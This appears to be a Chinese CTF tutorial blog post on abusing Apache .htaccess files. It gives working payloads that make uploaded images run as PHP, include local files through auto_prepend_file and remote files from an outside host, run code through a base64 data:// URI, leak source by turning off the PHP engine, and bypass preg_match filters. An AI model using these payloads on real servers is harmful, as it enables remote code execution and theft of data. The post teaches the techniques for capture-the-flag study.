March 2, 2023

不要捉弄我新人同学: H

1.简介

1.1基本概念

.htaccess 文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。

1.2作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

1.3配置文件

启动 .htaccess,需要在服务器的主配置文件将AllowOverride 设置为 All,如 apache2.conf
AllowOverride All #启动.htaccess文件的使用
也可以将 .htaccess 修改为其他名
AccessFileName .config #将.htaccess修改为.config

2.常见指令

2.1SetHandler

SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:
SetHandler handler-name|None
示例1:
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析
示例2:
SetHandler server-status
这是查看apache的服务器信息的(默认是关闭状态,图源自网络)
image.png
访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新

2.2AddHander,AddType

Example:

AddType application/x-httpd-php .htm
#.htm后缀的文件视为php文件执行

AddHandler cgi-script .aaa
#后缀名为.aaa的文件视为cgi脚本执行

AddType application/x-httpd-php png jpg gif
#将png,jpg,gif后缀名都视为php执行

可以看到以上三个指令作用基本一致,都是有很大的安全漏洞的,可以进行文件上传和包含漏洞

2.3php_value

当使用PHP作为Apache模块时,也可以用Apache的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride OptionsAllowOverride All 权限才可以。

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

image.png
由上可知.htaccess只能用于 PHP_INI_ALLPHP_INI_PERDIR 类型的指令。
查看php.ini 配置选项列表,寻找可利用指令

  1. 文件包含配置选项

image.png

  1. auto_prepend_file:在主文件解析之前自动解析包含的文件
  2. auto_append_file:在主文件解析后自动解析包含的文件

如:
php_value auto_prepend_file 1.jpg #每次访问一个php文件,都会先解析1.jpg图片,如果里面有代码就会执行

  1. 绕过preg_match

image.png
引例:

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

将正则匹配的回溯次数设为0,来达到绕过的效果

2.4php_flag

php_flag 用来设定布尔值的 php.ini 配置指令
用法:
查看,寻找可利用指令
php_flag name on|off
image.png
将其中的engine设为0可以关闭php解析从而达到源码泄露的目的
如:php_flag engine off

2.5.htaccess文件的注释特征

在htaccess文件内注释符号是#,这里要注意#一般放在行首,并且只能注释一行

1
2
php_value auto_prepend_file 1.png
# this is 注释

假如我们要多行注释该怎么办呢,htaccess文件里面可以用反斜杠(%0a)转义换行符,去连接不同行的代码:

1
2
3
php_value auto_prepend_fi\
le 1.png
# this is 注释

如例2,里面的\并不只是单单的\,他实际上是\%0a、,转义了换行符,所以我们根据这种特征,用#\%0a来多行注释

3.Htaccess的利用方式

3.1文件解析

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的php恶意代码得以被解析执行

使用方法有如下两种:

3.2文件包含

3.2.1本地文件包含(LFI)

通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。

.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。

php_value auto_prepend_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
这个意思是当我们打开一个php文件之前,我们会先打开User_Pwds.txt文件

1
2
3
<?php
echo 'hello';
?>

image.png
可以看到我们的字典文件已经被打开了

php_value auto_append_file C:\Users\22927\Desktop\新建文件夹\User_Pwds.txt
意思是在执行完一个php文件后,解析User_Pwds.txt文件
image.png
如图,先输出了hello,再输出passwd

3.2.2远程文件包含(RFI)

PHP 的all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为all_url_include的配置范围为 PHP_INI_SYSTEM,所以无法利用php_flag.htaccess中开启
image.png
因此想要运用就得将all_url_include=on开启
这里为了演示,就在 php.ini 中设置 all_url_include 为 On
php_value auto_append_file [http://10.87.9.156/phpinfo.txt](http://10.87.9.156/phpinfo.txt)
image.png
可以看到先输出了hello再运行了phpinfo();

3.3信息泄露

利用 php_flagengine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
php_flag engine 0
这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
image.png
可以看到直接给我们自动下载源文件了

3.4代码执行

3.4.1利用伪协议

前提条件:all_url_fopen=on,all_url_include=on

1
2
3
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

#PD9waHAgcGhwaW5mbygpOz8+=<?php phpinfo();?>

image.png
这边成功的打开了phpinfo!

3.4.2解析.htaccess

这种适合同目录或子目录没有php文件。
需要先设置允许可访问 .htaccess 文件

1
2
3
4
5
6
7
8
9
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
#这上面的代码必须加,是允许访问htaccess文件
#下面的代码,将htaccess文件当成php文件处理
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

image.png

参考文献:
https://xz.aliyun.com/t/8267#toc-20
不得不说这个博主真的牛

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#入门#新人同学